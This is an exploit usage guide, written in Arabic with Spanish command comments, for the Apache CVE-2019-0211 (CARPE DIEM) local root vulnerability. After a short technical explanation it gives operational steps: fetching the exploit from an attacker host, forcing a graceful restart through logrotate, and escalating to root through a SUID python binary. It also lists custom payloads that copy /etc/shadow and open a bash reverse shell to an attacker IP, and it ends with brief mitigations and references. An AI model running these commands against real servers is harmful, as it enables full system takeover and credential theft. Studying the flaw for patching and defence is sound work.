CVE-2019-0211 — تصعيد محلي للامتيازات في Apache HTTP Server (CARPE DIEM)

الوصف

CVE-2019-0211 هي ثغرة تصعيد امتيازات محلي تؤثر على Apache HTTP Server بين الإصدارين 2.4.17 و2.4.38 مع mod_prefork وmod_php (أو PHP-FPM).

تتيح هذه الثغرة لمهاجم يملك شل (shell) بصلاحيات www-data تصعيد الصلاحيات إلى root عبر مزيج من Use-After-Free (UAF) في PHP وتلف scoreboard الخاص بـ Apache. عندما يقوم Apache بعمل graceful restart (مثلًا عبر logrotate عند الساعة 6:25 صباحًا)، ينفّذ child_init() قبل إسقاط الامتيازات. إذا نجحنا في إتلاف المؤشر إلى هذه الدالة، يمكننا جعل Apache ينفّذ أمرًا اعتباطيًا بصلاحيات root.

CVSS 3.1: 7.8 (HIGH) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

التفاصيل التقنية

الآلية

يستخدم Apache منطقة ذاكرة مشتركة تسمى scoreboard حيث تمتلك كل عملية worker فرعية بنية process_score بمؤشر bucket إلى prefork_child_bucket. يحتوي هذا الـ bucket على apr_proc_mutex_t بمؤشرات إلى دوال (meth->child_init()).

عندما يقوم Apache بعمل graceful restart (محفّز طبيعي في الساعة 6:25 صباحًا عبر logrotate)، يستدعي child_init() قبل إسقاط الامتيازات. يعمل الاستغلال كالتالي:

1. يستدعي حدوث UAF في PHP عن طريق التلاعب بكائنات DateInterval وتسلسل JSON
2. يحصل على بدائية قراءة/كتابة اعتباطية في الذاكرة
3. يقرأ /proc/self/maps لتحديد موقع scoreboard (ذاكرة مشتركة في /dev/zero)
4. يجد بنية all_buckets في ذاكرة Apache
5. يكتب فوق الـ buckets بحمولة تعيد توجيه meth->child_init() إلى system()
6. عند إعادة التشغيل التالية، ينفّذ Apache الحمولة بصلاحيات root

الاستغلال

المؤلف الأصلي

Charles Fol — @cfreal_

المقال الأصلي: CARPE DIEM — CVE-2019-0211 Apache Local Root

المتطلبات

• Apache HTTP Server 2.4.17 – 2.4.38 مع mod_php (PHP 7.x)
• شل (shell) بصلاحيات www-data على الخادم
• القدرة على كتابة ملف .php في دليل يقدّمه Apache

الاستخدام

# 1. Subir el exploit al servidor vulnerable
# Desde tu máquina atacante:
python3 -m http.server 8080
# En el servidor (como www-data):
cd /var/www/html
wget http://TU_IP:8080/carpediem.php

# 2. Ejecutar el exploit
curl http://localhost/carpediem.php

# 3. Esperar a que Apache haga graceful restart
# Opción A) Esperar a las 6:25 AM (logrotate automático)
# Opción B) Forzar logrotate si tienes permisos:
sudo /usr/sbin/logrotate /etc/logrotate.conf --force

# 4. Verificar que python3.5 ahora es SUID root
ls -la /usr/bin/python3.5
# Output esperado: -rwsr-sr-x 2 root root ...

# 5. Escalar a root
python3.5 -c 'import os; os.setuid(0); os.system("/bin/bash")'

حمولة مخصصة

يمكنك تغيير الأمر الذي سيُنفَّذ بصلاحيات root باستخدام الوسيط cmd:

# Ejemplo: hacer una copia de /etc/shadow
curl "http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/"

# Ejemplo: reverse shell
curl "http://localhost/carpediem.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/TU_IP/PUERTO+0>%261'"

معدل النجاح

المزيد من الـ workers يعني معدل نجاح أعلى.

التخفيف

• تحديث Apache HTTP Server إلى الإصدار ≥ 2.4.39
• الانتقال من MPM prefork إلى MPM event (سطح هجوم أصغر على scoreboard)
• تقييد الوصول إلى /proc/self/maps عبر hidef أو AppArmor/SELinux

المراجع

• NVD — CVE-2019-0211
• CARPE DIEM Blogpost — Charles Fol
• Exploit en GitHub — cfreal/exploits
• Exploit-DB #46676
• نشرات أمان Apache